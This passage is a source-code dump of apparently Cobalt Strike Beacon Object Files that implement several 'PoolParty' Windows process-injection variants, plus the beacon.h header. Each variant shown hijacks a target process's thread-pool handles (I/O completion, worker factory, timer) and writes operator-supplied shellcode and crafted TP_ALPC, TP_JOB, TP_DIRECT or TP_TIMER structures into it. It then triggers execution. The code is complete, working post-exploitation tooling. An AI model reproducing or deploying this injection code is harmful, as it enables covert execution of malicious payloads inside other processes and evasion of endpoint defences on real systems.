INIT_UNICODE_STRING(POOL_PARTY_ALPC_PORT_NAME); 70 | 71 | OBJECT_ATTRIBUTES AlpcObjectAttributes = { 0 }; 72 | AlpcObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 73 | AlpcObjectAttributes.ObjectName = &usAlpcPortName; 74 | 75 | ALPC_PORT_ATTRIBUTES AlpcPortAttributes = { 0 }; 76 | AlpcPortAttributes.Flags = 0x20000; 77 | AlpcPortAttributes.MaxMessageLength = 328; 78 | 79 | HANDLE hAlpcConnectionPort; 80 | Ntstatus = NtAlpcCreatePort(&hAlpcConnectionPort, &AlpcObjectAttributes, &AlpcPortAttributes); 81 | if (!NT_SUCCESS(Ntstatus)) { 82 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Failed to create pool party ALPC port `%s`: %d.", POOL_PARTY_ALPC_PORT_NAME, hAlpcConnectionPort); 83 | return; 84 | } 85 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Created pool party ALPC port `%s`: %d", POOL_PARTY_ALPC_PORT_NAME, hAlpcConnectionPort); 86 | 87 | PFULL_TP_ALPC pRemoteTpAlpc = (PFULL_TP_ALPC)(KERNEL32$VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(FULL_TP_ALPC), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 88 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Allocated TP_ALPC memory in the target process: %p", pRemoteTpAlpc); 89 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, pRemoteTpAlpc, pTpAlpc, sizeof(FULL_TP_ALPC), NULL); 90 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Written the specially crafted TP_ALPC structure to the target process"); 91 | 92 | ALPC_PORT_ASSOCIATE_COMPLETION_PORT AlpcPortAssociateCopmletionPort = { 0 }; 93 | AlpcPortAssociateCopmletionPort.CompletionKey = pRemoteTpAlpc; 94 | AlpcPortAssociateCopmletionPort.CompletionPort = m_p_hIoCompletion; 95 | NtAlpcSetInformation(hAlpcConnectionPort, AlpcAssociateCompletionPortInformation, &AlpcPortAssociateCopmletionPort, sizeof(ALPC_PORT_ASSOCIATE_COMPLETION_PORT)); 96 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Associated ALPC port `%s` with the IO completion port of the target process worker factory", POOL_PARTY_ALPC_PORT_NAME); 97 | 98 | OBJECT_ATTRIBUTES AlpcClientObjectAttributes = { 0 }; 99 | AlpcClientObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES); 100 | 101 | const char* Buffer = POOL_PARTY_POEM; 102 | int BufferLength = sizeof(Buffer); 103 | 104 | ALPC_MESSAGE ClientAlpcPortMessage = { 0 }; 105 | ClientAlpcPortMessage.PortHeader.u1.s1.DataLength = BufferLength; 106 | ClientAlpcPortMessage.PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + BufferLength; 107 | memcpy(ClientAlpcPortMessage.PortMessage, Buffer, sizeof(ClientAlpcPortMessage.PortMessage)); 108 | size_t szClientAlpcPortMessage = sizeof(ClientAlpcPortMessage); 109 | 110 | /* NtAlpcConnectPort would block forever if not used with timeout, we set timeout to 1 second */ 111 | LARGE_INTEGER liTimeout = { 0 }; 112 | liTimeout.QuadPart = -10000000; 113 | HANDLE hAlpc_; 114 | NtAlpcConnectPort( 115 | &hAlpc_, 116 | &usAlpcPortName, 117 | &AlpcClientObjectAttributes, 118 | &AlpcPortAttributes, 119 | 0x20000, 120 | NULL, 121 | (PPORT_MESSAGE)&ClientAlpcPortMessage, 122 | &szClientAlpcPortMessage, 123 | NULL, 124 | NULL, 125 | &liTimeout); 126 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Connected to ALPC port `%s` to queue a packet to the IO completion port of the target process worker factory", POOL_PARTY_ALPC_PORT_NAME); 127 | } 128 | 129 | void HijackHandles() { 130 | m_p_hIoCompletion = GetTargetThreadPoolIoCompletionHandle(); 131 | } 132 | 133 | void Inject() { 134 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Starting PoolParty attack against process id: %d", m_dwTargetPid); 135 | m_p_hTargetPid = GetTargetProcessHandle(); 136 | if (m_p_hTargetPid == NULL) { 137 | BeaconPrintf(CALLBACK_ERROR, "[INFO] Cannot Open Process!"); 138 | return; 139 | } 140 | HijackHandles(); 141 | m_ShellcodeAddress = AllocateShellcodeMemory(); 142 | if (m_ShellcodeAddress == NULL) { 143 | BeaconPrintf(CALLBACK_ERROR, "[INFO] AllocateShellcodeMemory Failed!"); 144 | return; 145 | } 146 | if (!WriteShellcode()) { 147 | BeaconPrintf(CALLBACK_ERROR, "[INFO] WriteShellcode Failed!"); 148 | return; 149 | } 150 | RemoteTpAlpcInsertionSetupExecution(); 151 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] PoolParty attack completed."); 152 | } 153 | 154 | void go(char * args, int len) { 155 | datap parser; 156 | BeaconDataParse(&parser, args, len); 157 | m_dwTargetPid = BeaconDataInt(&parser); 158 | m_cShellcode = BeaconDataExtract(&parser, &m_szShellcodeSize); 159 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Shellcode Size: %d bytes", m_szShellcodeSize); 160 | Inject(); 161 | } -------------------------------------------------------------------------------- /src/Varient_6.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "PoolPartyBof.h" 3 | 4 | HANDLE m_p_hIoCompletion = NULL; 5 | #define JOB_NAME_LENGTH 8 6 | unsigned char POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH + 1]; 7 | 8 | HANDLE HijackIoCompletionProcessHandle(HANDLE p_hTarget) { 9 | return HijackProcessHandle((PWSTR)L"IoCompletion\0", p_hTarget, IO_COMPLETION_ALL_ACCESS); 10 | } 11 | 12 | HANDLE GetTargetThreadPoolIoCompletionHandle() { 13 | HANDLE p_hIoCompletion = HijackIoCompletionProcessHandle(m_p_hTargetPid); 14 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Hijacked I/O completion handle from the target process: %x", p_hIoCompletion); 15 | return p_hIoCompletion; 16 | } 17 | 18 | char generateRandomLetter() { 19 | int randomNumber = MSVCRT$rand() % 26; 20 | char randomLetter = 'A' + randomNumber; 21 | return randomLetter; 22 | } 23 | 24 | void RemoteTpJobInsertionSetupExecution() { 25 | MSVCRT$srand((unsigned int)MSVCRT$time(NULL)); 26 | for (int i = 0; i < JOB_NAME_LENGTH; ++i) { 27 | POOL_PARTY_JOB_NAME[i] = generateRandomLetter(); 28 | } 29 | POOL_PARTY_JOB_NAME[JOB_NAME_LENGTH] = '\0'; 30 | 31 | _TpAllocJobNotification TpAllocJobNotification = (_TpAllocJobNotification)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "TpAllocJobNotification")); 32 | HANDLE p_hJob = KERNEL32$CreateJobObjectA(NULL, POOL_PARTY_JOB_NAME); 33 | if (p_hJob == NULL) { 34 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Failed to create job object with name %s", POOL_PARTY_JOB_NAME); 35 | return; 36 | } 37 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Created job object with name `%s`", POOL_PARTY_JOB_NAME); 38 | 39 | PFULL_TP_JOB pTpJob = { 0 }; 40 | NTSTATUS Ntstatus = TpAllocJobNotification(&pTpJob, p_hJob, m_ShellcodeAddress, NULL, NULL); 41 | if (!NT_SUCCESS(Ntstatus)) { 42 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] TpAllocJobNotification Failed!"); 43 | return; 44 | } 45 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Created TP_JOB structure associated with the shellcode"); 46 | 47 | PFULL_TP_JOB RemoteTpJobAddress = (PFULL_TP_JOB)(KERNEL32$VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(FULL_TP_JOB), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 48 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Allocated TP_JOB memory in the target process: %p", RemoteTpJobAddress); 49 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, RemoteTpJobAddress, pTpJob, sizeof(FULL_TP_JOB), NULL); 50 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Written the specially crafted TP_JOB structure to the target process"); 51 | 52 | JOBOBJECT_ASSOCIATE_COMPLETION_PORT JobAssociateCopmletionPort = { 0 }; 53 | KERNEL32$SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)); 54 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Zeroed out job object `%s` IO completion port", POOL_PARTY_JOB_NAME); 55 | 56 | JobAssociateCopmletionPort.CompletionKey = RemoteTpJobAddress; 57 | JobAssociateCopmletionPort.CompletionPort = m_p_hIoCompletion; 58 | KERNEL32$SetInformationJobObject(p_hJob, JobObjectAssociateCompletionPortInformation, &JobAssociateCopmletionPort, sizeof(JOBOBJECT_ASSOCIATE_COMPLETION_PORT)); 59 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Associated job object `%s` with the IO completion port of the target process worker factory", POOL_PARTY_JOB_NAME); 60 | 61 | KERNEL32$AssignProcessToJobObject(p_hJob, KERNEL32$GetCurrentProcess()); 62 | BeaconPrintf(CALLBACK_OUTPUT,"[INFO] Assigned current process to job object `%s` to queue a packet to the IO completion port of the target process worker factory", POOL_PARTY_JOB_NAME); 63 | } 64 | 65 | void HijackHandles() { 66 | m_p_hIoCompletion = GetTargetThreadPoolIoCompletionHandle(); 67 | } 68 | 69 | void Inject() { 70 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Starting PoolParty attack against process id: %d", m_dwTargetPid); 71 | m_p_hTargetPid = GetTargetProcessHandle(); 72 | if (m_p_hTargetPid == NULL) { 73 | BeaconPrintf(CALLBACK_ERROR, "[INFO] Cannot Open Process!"); 74 | return; 75 | } 76 | HijackHandles(); 77 | m_ShellcodeAddress = AllocateShellcodeMemory(); 78 | if (m_ShellcodeAddress == NULL) { 79 | BeaconPrintf(CALLBACK_ERROR, "[INFO] AllocateShellcodeMemory Failed!"); 80 | return; 81 | } 82 | if (!WriteShellcode()) { 83 | BeaconPrintf(CALLBACK_ERROR, "[INFO] WriteShellcode Failed!"); 84 | return; 85 | } 86 | RemoteTpJobInsertionSetupExecution(); 87 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] PoolParty attack completed."); 88 | } 89 | 90 | void go(char * args, int len) { 91 | datap parser; 92 | BeaconDataParse(&parser, args, len); 93 | m_dwTargetPid = BeaconDataInt(&parser); 94 | m_cShellcode = BeaconDataExtract(&parser, &m_szShellcodeSize); 95 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Shellcode Size: %d bytes", m_szShellcodeSize); 96 | Inject(); 97 | } -------------------------------------------------------------------------------- /src/Varient_7.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "PoolPartyBof.h" 3 | 4 | HANDLE m_p_hIoCompletion = NULL; 5 | 6 | HANDLE HijackIoCompletionProcessHandle(HANDLE p_hTarget) { 7 | return HijackProcessHandle((PWSTR)L"IoCompletion\0", p_hTarget, IO_COMPLETION_ALL_ACCESS); 8 | } 9 | 10 | HANDLE GetTargetThreadPoolIoCompletionHandle() { 11 | HANDLE p_hIoCompletion = HijackIoCompletionProcessHandle(m_p_hTargetPid); 12 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Hijacked I/O completion handle from the target process: %x", p_hIoCompletion); 13 | return p_hIoCompletion; 14 | } 15 | 16 | void RemoteTpDirectInsertionSetupExecution() { 17 | _ZwSetIoCompletion ZwSetIoCompletion = (_ZwSetIoCompletion)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwSetIoCompletion")); 18 | TP_DIRECT Direct = { 0 }; 19 | Direct.Callback = m_ShellcodeAddress; 20 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Crafted TP_DIRECT structure associated with the shellcode"); 21 | 22 | PTP_DIRECT RemoteDirectAddress = (PTP_DIRECT)(KERNEL32$VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 23 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Allocated TP_DIRECT memory in the target process: %p", RemoteDirectAddress); 24 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, RemoteDirectAddress, &Direct, sizeof(TP_DIRECT), NULL); 25 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Written the TP_DIRECT structure to the target process"); 26 | 27 | ZwSetIoCompletion(m_p_hIoCompletion, RemoteDirectAddress, 0, 0, 0); 28 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Queued a packet to the IO completion port of the target process worker factory"); 29 | } 30 | 31 | void HijackHandles() { 32 | m_p_hIoCompletion = GetTargetThreadPoolIoCompletionHandle(); 33 | } 34 | 35 | void Inject() { 36 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Starting PoolParty attack against process id: %d", m_dwTargetPid); 37 | m_p_hTargetPid = GetTargetProcessHandle(); 38 | if (m_p_hTargetPid == NULL) { 39 | BeaconPrintf(CALLBACK_ERROR, "[INFO] Cannot Open Process!"); 40 | return; 41 | } 42 | HijackHandles(); 43 | m_ShellcodeAddress = AllocateShellcodeMemory(); 44 | if (m_ShellcodeAddress == NULL) { 45 | BeaconPrintf(CALLBACK_ERROR, "[INFO] AllocateShellcodeMemory Failed!"); 46 | return; 47 | } 48 | if (!WriteShellcode()) { 49 | BeaconPrintf(CALLBACK_ERROR, "[INFO] WriteShellcode Failed!"); 50 | return; 51 | } 52 | RemoteTpDirectInsertionSetupExecution(); 53 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] PoolParty attack completed."); 54 | } 55 | 56 | void go(char * args, int len) { 57 | datap parser; 58 | BeaconDataParse(&parser, args, len); 59 | m_dwTargetPid = BeaconDataInt(&parser); 60 | m_cShellcode = BeaconDataExtract(&parser, &m_szShellcodeSize); 61 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Shellcode Size: %d bytes", m_szShellcodeSize); 62 | Inject(); 63 | } -------------------------------------------------------------------------------- /src/Varient_8.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "PoolPartyBof.h" 3 | 4 | 5 | HANDLE m_p_hWorkerFactory = NULL; 6 | HANDLE m_p_hTimer = NULL; 7 | 8 | 9 | HANDLE HijackWorkerFactoryProcessHandle(HANDLE p_hTarget) { 10 | return HijackProcessHandle((PWSTR)L"TpWorkerFactory\0", p_hTarget, WORKER_FACTORY_ALL_ACCESS); 11 | } 12 | 13 | 14 | HANDLE GetTargetThreadPoolWorkerFactoryHandle() { 15 | HANDLE p_hWorkerFactory = HijackWorkerFactoryProcessHandle(m_p_hTargetPid); 16 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Hijacked worker factory handle from the target process: %p", &p_hWorkerFactory); 17 | return p_hWorkerFactory; 18 | } 19 | 20 | WORKER_FACTORY_BASIC_INFORMATION GetWorkerFactoryBasicInformation(HANDLE hWorkerFactory) { 21 | WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 }; 22 | _NtQueryInformationWorkerFactory NtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationWorkerFactory")); 23 | NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL); 24 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Retrieved target worker factory basic information"); 25 | return WorkerFactoryInformation; 26 | } 27 | 28 | HANDLE HijackIRTimerProcessHandle(HANDLE p_hTarget) { 29 | return HijackProcessHandle((PWSTR)L"IRTimer\0", p_hTarget, TIMER_ALL_ACCESS); 30 | } 31 | 32 | HANDLE GetTargetThreadPoolTimerHandle() { 33 | HANDLE p_hTimer = HijackIRTimerProcessHandle(m_p_hTargetPid); 34 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Hijacked timer queue handle from the target process: %p", &p_hTimer); 35 | return p_hTimer; 36 | } 37 | 38 | void SetupExecution() { 39 | WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = GetWorkerFactoryBasicInformation(m_p_hWorkerFactory); 40 | 41 | PFULL_TP_TIMER pTpTimer = (PFULL_TP_TIMER)KERNEL32$CreateThreadpoolTimer((PTP_TIMER_CALLBACK)(m_ShellcodeAddress), NULL, NULL); 42 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Created TP_TIMER structure associated with the shellcode"); 43 | 44 | PFULL_TP_TIMER RemoteTpTimerAddress = (PFULL_TP_TIMER)(KERNEL32$VirtualAllocEx(m_p_hTargetPid, NULL, sizeof(FULL_TP_TIMER), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); 45 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Allocated TP_TIMER memory in the target process: %p ", RemoteTpTimerAddress); 46 | 47 | int Timeout = -10000000; 48 | pTpTimer->Work.CleanupGroupMember.Pool = (PFULL_TP_POOL)(WorkerFactoryInformation.StartParameter); 49 | pTpTimer->DueTime = Timeout; 50 | pTpTimer->WindowStartLinks.Key = Timeout; 51 | pTpTimer->WindowEndLinks.Key = Timeout; 52 | pTpTimer->WindowStartLinks.Children.Flink = &RemoteTpTimerAddress->WindowStartLinks.Children; 53 | pTpTimer->WindowStartLinks.Children.Blink = &RemoteTpTimerAddress->WindowStartLinks.Children; 54 | pTpTimer->WindowEndLinks.Children.Flink = &RemoteTpTimerAddress->WindowEndLinks.Children; 55 | pTpTimer->WindowEndLinks.Children.Blink = &RemoteTpTimerAddress->WindowEndLinks.Children; 56 | 57 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, RemoteTpTimerAddress, pTpTimer, sizeof(FULL_TP_TIMER), NULL); 58 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Written the specially crafted TP_TIMER structure to the target process"); 59 | 60 | PVOID TpTimerWindowStartLinks = &RemoteTpTimerAddress->WindowStartLinks; 61 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, 62 | &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root, 63 | (PVOID)(&TpTimerWindowStartLinks), 64 | sizeof(TpTimerWindowStartLinks), NULL); 65 | 66 | PVOID TpTimerWindowEndLinks = &RemoteTpTimerAddress->WindowEndLinks; 67 | KERNEL32$WriteProcessMemory(m_p_hTargetPid, &pTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root, (PVOID)(&TpTimerWindowEndLinks), sizeof(TpTimerWindowEndLinks), NULL); 68 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Modified the target process's TP_POOL timer queue WindowsStart and Windows End to point to the specially crafted TP_TIMER"); 69 | 70 | LARGE_INTEGER ulDueTime = { 0 }; 71 | ulDueTime.QuadPart = Timeout; 72 | T2_SET_PARAMETERS Parameters = { 0 }; 73 | _NtSetTimer2 NtSetTimer2 = (_NtSetTimer2)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetTimer2")); 74 | NtSetTimer2(m_p_hTimer, &ulDueTime, 0, &Parameters); 75 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration"); 76 | } 77 | 78 | void HijackHandles() { 79 | m_p_hWorkerFactory = GetTargetThreadPoolWorkerFactoryHandle(); 80 | m_p_hTimer = GetTargetThreadPoolTimerHandle(); 81 | } 82 | 83 | void Inject() { 84 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Starting PoolParty attack against process id: %d", m_dwTargetPid); 85 | m_p_hTargetPid = GetTargetProcessHandle(); 86 | if (m_p_hTargetPid == NULL) { 87 | BeaconPrintf(CALLBACK_ERROR, "[INFO] Cannot Open Process!"); 88 | return; 89 | } 90 | HijackHandles(); 91 | m_ShellcodeAddress = AllocateShellcodeMemory(); 92 | if (m_ShellcodeAddress == NULL) { 93 | BeaconPrintf(CALLBACK_ERROR, "[INFO] AllocateShellcodeMemory Failed!"); 94 | return; 95 | } 96 | if (!WriteShellcode()) { 97 | BeaconPrintf(CALLBACK_ERROR, "[INFO] WriteShellcode Failed!"); 98 | return; 99 | } 100 | SetupExecution(); 101 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] PoolParty attack completed."); 102 | } 103 | 104 | void go(char * args, int len) { 105 | datap parser; 106 | BeaconDataParse(&parser, args, len); 107 | m_dwTargetPid = BeaconDataInt(&parser); 108 | m_cShellcode = BeaconDataExtract(&parser, &m_szShellcodeSize); 109 | BeaconPrintf(CALLBACK_OUTPUT, "[INFO] Shellcode Size: %d bytes", m_szShellcodeSize); 110 | Inject(); 111 | } -------------------------------------------------------------------------------- /src/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Cobalt Strike 4.x 8 | * ChangeLog: 9 | * 1/25/2022: updated for 4.5 10 | */ 11 | 12 | /* data API */ 13 | typedef struct { 14 | char * original; /* the original buffer [so we can free it] */ 15 | char * buffer; /* current pointer into our buffer */ 16 | int length; /* remaining length of data */ 17 | int size; /* total size of this buffer */ 18 | } datap; 19 | 20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 21 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 22 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 23 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 24 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 25 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 26 | 27 | /* format API */ 28 | typedef struct { 29 | char * original; /* the original buffer [so we can free it] */ 30 | char * buffer; /* current pointer into our buffer */ 31 | int length; /* remaining length of data */ 32 | int size; /* total size of this buffer */ 33 | } formatp; 34 | 35 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 36 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 40 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 41 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 42 | 43 | /* Output Functions */ 44 | #define CALLBACK_OUTPUT 0x0 45 | #define CALLBACK_OUTPUT_OEM 0x1e 46 | #define CALLBACK_OUTPUT_UTF8 0x20 47 | #define CALLBACK_ERROR 0x0d 48 | 49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 50 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 51 | 52 | 53 | /* Token Functions */ 54 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 55 | DECLSPEC_IMPORT void BeaconRevertToken(); 56 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 57 | 58 | /* Spawn+Inject Functions */ 59 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 60 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 61 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 62 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 63 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 64 | 65 | /* Utility Functions */ 66 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 67 | 68 | --------------------------------------------------------------------------------